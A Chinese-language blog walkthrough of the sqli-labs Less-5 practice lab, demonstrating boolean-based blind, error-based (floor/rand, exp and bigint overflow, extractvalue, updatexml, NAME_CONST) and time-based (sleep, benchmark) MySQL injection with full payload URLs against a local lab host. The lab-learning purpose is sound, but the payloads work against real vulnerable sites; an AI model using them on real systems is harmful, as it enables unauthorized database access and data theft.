由于这一关涉及到盲注的内容,所以我们还是想来看看源代码吧:
可以看到,如果运行返回结果正确的时候只返回you are in...,不会返回数据库当中的信息了,所以我们不能之前所采用的在less-4之前的方法了。
从这里开始就要进行盲注了!
测试数据库版本
利用left(database(),1)进行尝试
http://192.168.11.136/sqli-labs/Less-5?id=1' and left(version(),1)=5--+
查看一下version(),数据库的版本号为5.3,这里的这句话的意思是看看版本号的第一位是否是5,很明显返回的结果是正确的。
当版本号信箱不正确的时候就不能够正常显示“you are in .....”
接下来看看数据库的长度
接下来猜测一下数据库的第一位:
经过测试大于、小于之后,我们最后可以用等于确定第一个字符为“s”
注:在我们不知情的情况下,我们可以使用二分法来提高注入效率。
测试数据库第二位:
由此可以确定第二位为“e”
之后的判断都是一样的,依次猜解就好,只需要修改left(a,b)中b的位置(该位置决定从哪个位置开始判断测试)。这里就不再过多的描述了。
参考语句:
ascii(substr((select table_name from information_schema.tables where tables_schema=database()limit 0,1),1,1))=101
从上面的测试,我们可以知道最后的数据库的名称为security,那么这一个小模块我们就来猜测security数据库下面的表信息:
获取security数据库的第一个表的第一个字符:
http://192.168.11.136/sqli-labs/Less-5?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100--+
通过上面的推测,我们可以知道该数据库的第一个表的第一个字符为“e”
之后我们可以通过修改substr(str,start,length)中的第二个参数“start”来猜解第一个表的第二个字符的内容,这里就不再多做演示了!
同时,当我们猜测完第一个表的名称之后,我们就需要猜测第二个表的名称,那么这个时候,我们就可以通过limit start,length来实现,通过修改start的值,来实现对第二个参数的获取与测试。
例如:
至于后续的测试,按照该逻辑思维进行测试即可!
从上面的测试中,我们可以确定数据库名称为security,而且数据库中存在user表,这一次,我们就通过regexp来猜解user表中的列的信息:
http://192.168.11.136/sqli-labs/Less-5?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^us[a-z]' limit 0,1)--+
从以上的返回信息,我们可以确定该user表中存在us****的列
由此我们可以确定存在列username!其余的列的猜解方式也是一样的,按照这个规律来即可!
我们同样可以使用ord()以及mid()函数的特性来获取user表中的信息,具体操作方式如下:
http://192.168.11.136/sqli-labs/Less-5?id=1' and ord(mid((select IFNULL(cast(username as char),0x20)from security.users order by id limit 0,1),1,1))=68--+
获取user表中username中第一行的第一个字符的ascii,之后再将该ascii与我们所猜测字符对应的ascii值进行对比,从而即可得出这一个表中该字段的第一个字符。之后的猜解也是如粗,就不再过多的介绍了。
报错注入:
http://192.168.11.136/sqli-labs/Less-5?id=1' union select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+
数值类型超出范围进行报错注入
http://192.168.11.136/sqli-labs/Less-5?id=1'union select (exp(~(select * FROM(SELECT USER())a))),2,3--+
利用bigint溢出进行报错注入
http://192.168.11.136/sqli-labs/Less-5?id=1' union select (!(select * from (select user())x) - ~0),2,3--+
Xpath函数报错注入
http://192.168.11.136/sqli-labs/Less-5?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+
http://192.168.11.136/sqli-labs/Less-5?id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+
数据的重复性
http://192.168.11.136/sqli-labs/Less-5?id=1' union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --+
利用sleep()函数注入
http://192.168.11.136/sqli-labs/Less-5?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
当错误的时候会有5秒的时间延迟。
利用benchmark()函数注入
http://192.168.11.136/sqli-labs/Less-5?id=1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+
当结果正确的时候,运行encode('MSG',‘by 5 second’)操作500000000次,会占用一定的时间。
至此,我们将盲注的所有方法都在less-5中用了一遍,在后续的关卡中之后拿其中的一种来演示,至于其它的,有兴趣的可以自我掌握,自我学习!
总结:本次的博客耗费的时间比较长,同时也是借阅了不少技术大牛的文章,之后进行了一个简易的汇总,同时也是对自己之后的学习提供一个方便!希望对我对大家都有帮助!